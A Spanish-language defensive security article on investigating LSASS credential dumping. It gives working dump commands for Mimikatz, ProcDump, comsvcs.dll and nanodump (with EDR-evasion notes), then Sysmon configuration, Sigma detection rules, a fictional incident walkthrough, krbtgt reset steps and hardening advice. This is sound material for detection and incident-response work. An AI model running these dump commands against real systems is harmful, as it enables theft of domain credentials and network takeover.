IntermedioLSASScredential theftMimikatzSysmonSigmaT1003.001MITRE ATT&CKincident response

LSASS Dump: Investigación de Robo de Credenciales

Investigación completa de robo de credenciales vía LSASS dump: técnicas de volcado (Mimikatz, ProcDump, comsvcs.

MalwareIntel Research··11 min lectura
Serie: Casos de Uso — Parte 16

LSASS como objetivo

TL;DR: El LSASS dump es una técnica de robo de credenciales que extrae datos de autenticación críticos como hashes NTLM y tickets Kerberos directamente de la memoria de Windows. Mediante el uso de herramientas como Mimikatz o comsvcs.dll, los atacantes pueden comprometer identidades de administradores de dominio para obtener control total de la red. Es fundamental implementar detecciones basadas en Sysmon Event ID 10 y realizar respuestas de incidentes que incluyan el reset de la cuenta krbtgt.

LSASS (Local Security Authority Subsystem Service, lsass.exe) es el proceso central de autenticación en Windows. Se ejecuta como SYSTEM y almacena en memoria:

  • Hashes NTLM de usuarios autenticados localmente
  • Tickets Kerberos (TGT y TGS) de sesiones activas
  • Credenciales en texto claro (en configuraciones con WDigest habilitado)
  • Credenciales de cuentas de servicio que se ejecutan en la máquina
  • Tokens de autenticación de sesiones interactivas y de red

Comprometer LSASS en un servidor donde se ha autenticado un Domain Admin es equivalente a obtener las llaves del reino: el atacante puede moverse lateralmente, escalar privilegios y establecer persistencia a nivel de dominio.

Técnicas de volcado de LSASS

Técnica 1: Mimikatz (la más conocida)

Mimikatz accede directamente a la memoria de LSASS para extraer credenciales:

# Ejecución clásica de Mimikatz
mimikatz.exe
  privilege::debug
  sekurlsa::logonpasswords

# Output típico:
Authentication Id : 0 ; 999999 (00000000:000f423f)
Session           : Interactive from 1
User Name         : admin.jones
Domain            : CORP
Logon Server      : DC-01
SID               : S-1-5-21-...

  msv :
   [00000003] Primary
   * Username : admin.jones
   * Domain   : CORP
   * NTLM     : aad3b435...5404ee
   * SHA1     : 2a3b4c5d...6e7f8a9b
  
  kerberos :
   * Username : admin.jones
   * Domain   : CORP.LOCAL
   * Password : [REDACTED]    ← texto claro si WDigest habilitado
   
  tspkg :
   * Username : admin.jones
   * Domain   : CORP
   * Password : [REDACTED]

Perfil de detección: alto. Mimikatz es ampliamente detectado por firmas AV, reglas YARA, y EDR. Los atacantes frecuentemente lo ofuscan, lo inyectan en memoria o usan variantes como Pypykatz.

Técnica 2: ProcDump (Sysinternals)

ProcDump es una herramienta legítima de Sysinternals que puede volcar la memoria de cualquier proceso:

# Volcado de LSASS con ProcDump
procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp

# Variante para evadir detección por nombre
procdump.exe -accepteula -ma -r lsass.exe dump.dmp

# El atacante luego transfiere el .dmp a su máquina
# y lo analiza offline con Mimikatz:
mimikatz.exe
  sekurlsa::minidump lsass_dump.dmp
  sekurlsa::logonpasswords

Perfil de detección: medio. ProcDump es legítimo pero el acceso a LSASS genera Event ID 10 en Sysmon.

Técnica 3: comsvcs.dll (Living off the Land)

comsvcs.dll es una DLL legítima del sistema que incluye una función MiniDump:

# Obtener PID de LSASS
$lsassPID = (Get-Process lsass).Id

# Volcado usando rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\temp\dump.bin full

# Variante con PowerShell
rundll32.exe comsvcs.dll, "#24" $lsassPID C:\temp\out.bin full

Perfil de detección: medio-bajo. Usa binarios legítimos del sistema (LOLBAS), lo que dificulta la detección basada en firmas. Requiere detección por comportamiento.

Técnica 4: nanodump

nanodump utiliza syscalls directas para evadir los hooks que los EDR colocan en las funciones de la API de Windows:

# nanodump evita hooks de EDR usando:
# - Syscalls directas (no pasa por ntdll.dll hookeada)
# - Volcado parcial de LSASS (solo las páginas necesarias)
# - Cifrado del dump en memoria antes de escribir a disco
# - Nombre de archivo aleatorio

nanodump.exe --write C:\temp\[random].log --valid

Perfil de detección: bajo. Diseñado específicamente para evadir EDR. La detección requiere monitorización a nivel de kernel o análisis de comportamiento avanzado.

Técnica 5: Task Manager (la más simple)

En sistemas sin restricciones, un usuario con privilegios de administrador puede volcar LSASS directamente desde el Task Manager:

1. Abrir Task Manager como administrador
2. Pestaña "Detalles"
3. Click derecho en lsass.exe
4. "Create dump file"
5. El volcado se guarda en %TEMP%\lsass.DMP

Perfil de detección: bajo. Es una funcionalidad legítima del sistema.

Detección con Sysmon Event ID 10

Sysmon Event ID 10 (Process Access) es el evento más relevante para detectar acceso a LSASS:

Configuración de Sysmon

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessAccess onmatch="include">
      <!-- Monitorizar accesos a LSASS -->
      <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
    </ProcessAccess>
    
    <ProcessAccess onmatch="exclude">
      <!-- Excluir accesos legítimos conocidos -->
      <SourceImage condition="is">C:\Windows\System32\svchost.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\csrss.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\wininit.exe</SourceImage>
      <SourceImage condition="is">C:\Windows\System32\lsm.exe</SourceImage>
      <SourceImage condition="is">C:\Program Files\Windows Defender\MsMpEng.exe</SourceImage>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>

Evento típico de volcado de LSASS

<Event>
  <EventID>10</EventID>
  <EventData>
    <SourceProcessId>7824</SourceProcessId>
    <SourceImage>C:\Users\Public\procdump.exe</SourceImage>
    <TargetProcessId>672</TargetProcessId>
    <TargetImage>C:\Windows\System32\lsass.exe</TargetImage>
    <GrantedAccess>0x1FFFFF</GrantedAccess>
    <CallTrace>
      C:\Windows\SYSTEM32\ntdll.dll+9c4e4|
      C:\Windows\System32\KERNELBASE.dll+2c13e|
      C:\Users\Public\procdump.exe+1234
    </CallTrace>
  </EventData>
</Event>

Valores de GrantedAccess sospechosos

0x1FFFFF  = PROCESS_ALL_ACCESS (más sospechoso)
0x1010    = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ
0x1410    = 0x1010 + PROCESS_QUERY_INFORMATION
0x1438    = Patrón típico de Mimikatz
0x1F1FFF  = Variante de acceso completo

Accesos legítimos típicos:
0x1000    = PROCESS_QUERY_LIMITED_INFORMATION (normal para taskmgr)
0x0400    = PROCESS_QUERY_INFORMATION (normal para svchost)

Reglas Sigma para detección

Regla 1: Acceso sospechoso a LSASS

title: Suspicious LSASS Process Access
id: lsass-access-001
status: stable
description: >
  Detecta acceso a la memoria de LSASS desde procesos
  que no deberían necesitar ese nivel de acceso
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1FFFFF'
      - '0x1F1FFF'
      - '0x1010'
      - '0x1438'
  filter_legitimate:
    SourceImage|endswith:
      - '\csrss.exe'
      - '\wininit.exe'
      - '\wmiprvse.exe'
      - '\svchost.exe'
      - '\MsMpEng.exe'
      - '\MRT.exe'
    SourceImage|startswith:
      - 'C:\Program Files\CrowdStrike\'
      - 'C:\Program Files\SentinelOne\'
      - 'C:\Program Files (x86)\Trend Micro\'
  condition: selection and not filter_legitimate
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001

Regla 2: comsvcs.dll MiniDump

title: LSASS Dump via comsvcs.dll MiniDump
id: lsass-comsvcs-001
status: stable
description: >
  Detecta el uso de comsvcs.dll para volcar la memoria
  de LSASS (técnica Living off the Land)
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains|all:
      - 'comsvcs'
      - 'MiniDump'
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: selection
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001
  - attack.t1218.011

Regla 3: ProcDump apuntando a LSASS

title: ProcDump Targeting LSASS
id: lsass-procdump-001
status: stable
description: Detecta ProcDump volcando la memoria de LSASS
logsource:
  category: process_creation
  product: windows
detection:
  selection_tool:
    Image|endswith:
      - '\procdump.exe'
      - '\procdump64.exe'
    CommandLine|contains:
      - 'lsass'
  selection_renamed:
    OriginalFileName:
      - 'procdump'
    CommandLine|contains:
      - 'lsass'
  condition: selection_tool or selection_renamed
level: critical
tags:
  - attack.credential_access
  - attack.t1003.001

Regla 4: Creación de archivo de volcado LSASS

title: LSASS Memory Dump File Created
id: lsass-file-create-001
status: stable
description: Detecta la creación de archivos de volcado de LSASS
logsource:
  category: file_creation
  product: windows
detection:
  selection:
    TargetFilename|contains:
      - 'lsass'
    TargetFilename|endswith:
      - '.dmp'
      - '.dump'
      - '.bin'
      - '.log'
      - '.tmp'
  filter_wer:
    TargetFilename|contains: '\Windows\WER\'
  condition: selection and not filter_wer
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

Escenario de investigación

Alerta inicial

El SIEM genera una alerta basada en la regla Sigma lsass-access-001:

ALERTA CRÍTICA: Acceso sospechoso a LSASS
Timestamp: 2026-05-20 03:42:17 UTC
Host: SRV-APP-03
Source Process: C:\Users\Public\svc_update.exe (PID 8412)
Target Process: C:\Windows\System32\lsass.exe (PID 672)
GrantedAccess: 0x1FFFFF (PROCESS_ALL_ACCESS)
User: CORP\svc-monitoring

Triage

# 1. Verificar el proceso sospechoso
Get-Process -Id 8412 | Format-List *
# Resultado: svc_update.exe, sin firma digital, 2.1 MB

# 2. Verificar hash del archivo
Get-FileHash C:\Users\Public\svc_update.exe -Algorithm SHA256
# SHA256: a7b8c9d0...e1f2a3b4 (desconocido en VirusTotal)

# 3. Verificar conexiones de red del proceso
Get-NetTCPConnection -OwningProcess 8412
# Conexión establecida hacia 194.147.142[.]x:443

# 4. Verificar archivos creados recientemente en el directorio
Get-ChildItem C:\Users\Public\ -Recurse |
  Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
# svc_update.exe     (2.1 MB, creado hace 3 horas)
# output.bin          (48 MB, creado hace 2 minutos) ← volcado LSASS

Análisis forense

# 5. Verificar cómo llegó svc_update.exe al sistema
# Revisar Sysmon Event ID 11 (File Create)
Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-Sysmon/Operational'
  ID=11
} | Where-Object {
  $_.Properties[5].Value -match 'svc_update'
} | Format-List TimeCreated, Message

# Resultado: archivo creado por powershell.exe
# ejecutado por CORP\svc-monitoring vía WinRM

Reconstrucción del ataque

Timeline reconstruido:
03:30 UTC - Atacante se autentica con credenciales de svc-monitoring vía WinRM
03:35 UTC - PowerShell descarga svc_update.exe desde C2
03:40 UTC - svc_update.exe se ejecuta (Mimikatz ofuscado)
03:42 UTC - Acceso a LSASS (Sysmon EID 10)
03:42 UTC - output.bin creado (volcado de LSASS)
03:44 UTC - output.bin exfiltrado al C2 (194.147.142[.]x)
03:45 UTC - output.bin eliminado del disco

Análisis de impacto

Verificar qué cuentas estaban autenticadas en SRV-APP-03 en el momento del volcado:

# Sesiones activas en el momento del incidente
Get-WinEvent -FilterHashtable @{
  LogName='Security'
  ID=4624
  StartTime=(Get-Date '2026-05-20 02:00:00')
  EndTime=(Get-Date '2026-05-20 04:00:00')
} | Where-Object {
  $_.Properties[8].Value -in @(2, 10, 11)  # Interactive, RemoteInteractive, CachedInteractive
} | Select-Object TimeCreated,
  @{N='User';E={$_.Properties[5].Value + '\' + $_.Properties[6].Value}}

Cuentas comprometidas:

admin.jones        Domain Admin        ← CRÍTICO
svc-sql            Service Account     ← Acceso a bases de datos
svc-monitoring     Service Account     ← Usada para el acceso inicial
user.garcia        Standard User       ← Bajo riesgo

Contención: el proceso KRBTGT reset

Dado que una cuenta de Domain Admin fue comprometida, existe el riesgo de Golden Ticket. El procedimiento de contención incluye:

Paso 1: Aislamiento inmediato

1. Aislar SRV-APP-03 de la red
2. Revocar la sesión de svc-monitoring (forzar logoff)
3. Deshabilitar la cuenta svc-monitoring
4. Reset de contraseña de admin.jones
5. Reset de contraseña de svc-sql

Paso 2: Primer reset de KRBTGT

# En el Domain Controller, como Domain Admin
# PRECAUCIÓN: esto invalida TODOS los tickets Kerberos activos

# Paso 2a: Verificar la fecha del último cambio de KRBTGT
Get-ADUser krbtgt -Properties PasswordLastSet |
  Select-Object PasswordLastSet
# Si nunca fue cambiado, el riesgo es máximo

# Paso 2b: Primer reset
Set-ADAccountPassword -Identity krbtgt -Reset `
  -NewPassword (ConvertTo-SecureString -AsPlainText "[NUEVA_PASSWORD]" -Force)

# Paso 2c: Documentar timestamp del reset
Get-Date -Format "yyyy-MM-dd HH:mm:ss UTC"

Paso 3: Esperar y segundo reset

# Esperar MÍNIMO 12 horas (idealmente 24 horas)
# Esto permite que los tickets Kerberos legítimos caduquen y se renueven

# Tras la espera, ejecutar el segundo reset:
Set-ADAccountPassword -Identity krbtgt -Reset `
  -NewPassword (ConvertTo-SecureString -AsPlainText "[OTRA_PASSWORD]" -Force)

Paso 4: Verificación post-reset

# Verificar que los dos últimos cambios de password son recientes
Get-ADUser krbtgt -Properties PasswordLastSet, Modified |
  Select-Object PasswordLastSet, Modified

# Monitorizar Event ID 4769 (Kerberos Service Ticket) 
# para detectar tickets con encryption type RC4 (posible Golden Ticket)
Get-WinEvent -FilterHashtable @{
  LogName='Security'
  ID=4769
} | Where-Object {
  $_.Properties[5].Value -eq '0x17'  # RC4 encryption
} | Select-Object TimeCreated, Message

IOCs del escenario

Hashes

svc_update.exe (Mimikatz ofuscado)   a7b8c9d0...e1f2a3b4
output.bin (volcado LSASS)           [efímero, eliminado]

Red

194.147.142[.]x:443    C2 y destino de exfiltración

Artefactos

C:\Users\Public\svc_update.exe     Mimikatz renombrado
C:\Users\Public\output.bin         Volcado LSASS (eliminado)
Sesión WinRM desde IP externa

Cuentas comprometidas

CORP\admin.jones       Domain Admin (hash NTLM expuesto)
CORP\svc-sql           Service Account (hash NTLM expuesto)
CORP\svc-monitoring    Cuenta usada para acceso inicial

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Credential AccessOS Credential Dumping: LSASS MemoryT1003.001Volcado de LSASS con Mimikatz ofuscado
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001Descarga del payload vía PowerShell
Lateral MovementRemote Services: Windows Remote ManagementT1021.006Acceso inicial vía WinRM
Defense EvasionMasquerading: Rename System UtilitiesT1036.003Mimikatz renombrado como svc_update.exe
ExfiltrationExfiltration Over C2 ChannelT1041Volcado LSASS enviado al C2
CollectionData from Local SystemT1005Recolección de credenciales

Medidas preventivas

Protecciones contra volcado de LSASS

  1. Credential Guard: habilitar en Windows 10/11 Enterprise y Server 2016+, aísla LSASS en un entorno virtualizado (VBS)
  2. RunAsPPL: configurar LSASS como Protected Process Light (HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1)
  3. Deshabilitar WDigest: prevenir credenciales en texto claro (HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0)
  4. Windows Defender Attack Surface Reduction: regla "Block credential stealing from LSASS"

Detección y monitorización

  1. Sysmon Event ID 10: configurar con exclusiones precisas para reducir ruido
  2. Windows Event ID 4656: auditar accesos a objetos del sistema
  3. EDR: habilitar protección de LSASS en la solución EDR
  4. Reglas Sigma: desplegar las 4 reglas documentadas en este artículo

Reducción de exposición

  1. Evitar autenticaciones interactivas de Domain Admin en servidores
  2. Tiered Admin Model: separar cuentas de administración por nivel
  3. Cuentas de servicio gestionadas (gMSA): rotación automática de credenciales
  4. PAM (Privileged Access Management): acceso just-in-time con expiración

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.